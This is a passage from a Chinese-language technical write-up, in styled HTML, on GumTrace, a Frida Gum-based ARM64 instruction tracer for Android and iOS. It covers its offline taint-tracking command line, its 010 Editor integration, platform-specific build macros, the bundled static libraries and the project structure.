&#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SCAN_LIMIT_REACHED</span></code><span leaf="">防止在长时间无关代码段上浪费计算。默认值100万行可通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">set_max_scan_distance</span></code><span leaf="">调整。</span></p><h3 data-line="1132" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">14.7 命令行使用</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1134" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 正向追踪：从第100行的x0寄存器开始</span></span><br/><span leaf="">./taint_tracker -i trace.log -o result.log -f x0 -l 100</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 反向追踪：从第500行的x0寄存器反向追溯</span></span><br/><span leaf="">./taint_tracker -i trace.log -o result.log -b x0 -l 500</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 追踪内存地址</span></span><br/><span leaf="">./taint_tracker -i trace.log -o result.log -f mem:0x1000 -l 100</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 按相对地址定位</span></span><br/><span leaf="">./taint_tracker -i trace.log -o result.log -f x0 -a 0x1890</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 按字节偏移定位（适合超大日志文件）</span></span><br/><span leaf="">./taint_tracker -i trace.log -o result.log -b x0 -p 1048576</span></code></pre><p data-line="1151" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">反向追踪使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">load_range</span></code><span leaf="">优化——只加载到目标行的数据，避免将整个GB级日志读入内存：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1153" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (mode == TrackMode::BACKWARD &amp;&amp; start_line &gt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) {</span><br/><span leaf="">    parser.</span><span style="color: rgb(0, 122, 204);"><span leaf="">load_range</span></span><span leaf="">(input_file, start_line);</span><br/><span leaf="">} </span><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span leaf=""> {</span><br/><span leaf="">    parser.</span><span style="color: rgb(0, 122, 204);"><span leaf="">load</span></span><span leaf="">(input_file);</span><br/><span leaf="">}</span></code></pre><h3 data-line="1161" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">14.8 010 Editor集成</span></h3><p data-line="1163" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">对于需要交互式分析的场景，GumTrace提供了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">TaintTracker.1sc</span></code><span leaf="">脚本，可在010 Editor中直接使用：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">在010 Editor中打开trace日志</span></p></li><li style=""><p><span leaf="">将光标移到要分析的指令行</span></p></li><li style=""><p><span leaf="">运行脚本，选择追踪方向和目标寄存器</span></p></li><li style=""><p><span leaf="">脚本自动调用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">taint_tracker</span></code><span leaf="">并打开结果文件</span></p></li></ol><p data-line="1170" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">脚本通过分析光标所在行自动提取默认的追踪目标（第一个出现的寄存器），并根据光标位置的字节偏移定位起始行，无需手动输入行号。</span></p><h2 data-line="1172" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">15 平台适配</span></h2><p data-line="1174" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace通过编译时宏实现Android/iOS的平台分离。</span></p><h3 data-line="1176" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">15.1 条件编译</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1178" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// platform.h</span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">ifdef</span></span><span leaf=""> __APPLE__</span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> PLATFORM_IOS 1</span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> PLATFORM_ANDROID 0</span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> PLATFORM_IOS 0</span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> PLATFORM_ANDROID 1</span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">endif</span></span></span></code></pre><p data-line="1189" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">整个代码库中，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf=""><a class="wx_topic_link" topic-id="mny050nm-q2axce" style="color: #576B95 !important;" data-topic="1" data-recommend="">#if</a> PLATFORM_ANDROID</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf=""><a class="wx_topic_link" topic-id="mny050nm-sy4m7b" style="color: #576B95 !important;" data-topic="1" data-recommend="">#if</a> PLATFORM_IOS</span></code><span leaf="">控制平台特定的代码路径。核心追踪逻辑（Stalker插桩、操作数解析、缓冲区管理）是完全共享的。</span></p><h3 data-line="1191" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">15.2 平台差异对照</span></h3><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">维度</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">Android</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">iOS</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">产物</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">libGumTrace.so</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">libGumTrace.dylib</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">日志</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__android_log_print</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">NSLog</span></code></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">JNI追踪</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">✅</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">—</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ObjC追踪</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">—</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">✅</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">模块排除</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">路径前缀匹配</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">仅保留指定模块</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">构建工具</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">NDK CMake工具链</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Xcode iphoneos SDK</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">最低版本</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Android API 24</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">iOS 12.0</span></p></td></tr></tbody></table><h3 data-line="1203" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">15.3 Frida Gum库</span></h3><p data-line="1205" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace链接的是Frida Gum的静态库（版本17.8.3），分为Android和iOS两个变体：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1207" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">libs/</span><br/><span leaf="">├── FridaGum-Android-17.8.3-fix.a   # Android arm64</span><br/><span leaf="">├── FridaGum-Android-17.8.3.h       # Android 头文件</span><br/><span leaf="">├── FridaGum-IOS-17.8.3-fix.a       # iOS arm64</span><br/><span leaf="">└── FridaGum-IOS-17.8.3.h           # iOS 头文件</span></code></pre><p data-line="1215" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">文件名中的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-fix</span></code><span leaf="">后缀表明这是经过修改的版本，可能针对特定场景做了补丁。静态链接使得产物是自包含的，不依赖设备上的Frida环境。</span></p><h2 data-line="1217" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">16 项目结构</span></h2><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1219" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">GumTrace/</span><br/><span leaf="">├── CMakeLists.txt              # 主构建脚本（双平台）</span><br/><span leaf="">├── build_android.sh            # Android 构建脚本</span><br/><span leaf="">├── build_ios.sh                # iOS 构建脚本</span><br/><span leaf="">├── example.js                  # Android Frida 使用示例</span><br/><span leaf="">├── example_ios.js              # iOS Frida 使用示例</span><br/><span leaf="">├── libs/                       # Frida Gum 静态库和头文件</span><br/><span leaf="">└── src/</span><br/><span leaf="">    ├── main.cpp                # 入口：init/run/unrun 导出函数</span><br/><span leaf="">    ├── GumTrace.h/cpp          # 核心引擎：Stalker回调、指令解析</span><br/><span leaf="">    ├── CallbackContext.h/cpp   # 上下文对象池（环形缓冲）</span><br/><span leaf="">    ├── FuncPrinter.h/cpp       # 函数参数/返回值打印（含JNI和ObjC）</span><br/><span leaf="">    ├── Utils.h/cpp             # 工具函数：寄存器读取、十六进制格式化</span><br/><span leaf="">    ├── platform.h              # 平台检测宏</span><br/><span leaf="">    └── taint/                  # 离线污点分析工具</span><br/><span leaf="">        ├── CMakeLists.txt</span><br/><span leaf="">        ├── main.cpp            # 命令行入口</span><br/><span leaf="">        ├── TraceParser.h/cpp   # 日志解析器（零分配设计）</span><br/><span leaf="">        ├── TaintEngine.h/cpp   # 污点传播引擎（正向/反向）</span><br/><span leaf="">        └── TaintTracker.1sc    # 010 Editor 交互式脚本</span></code></pre><h2 data-line="1242" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 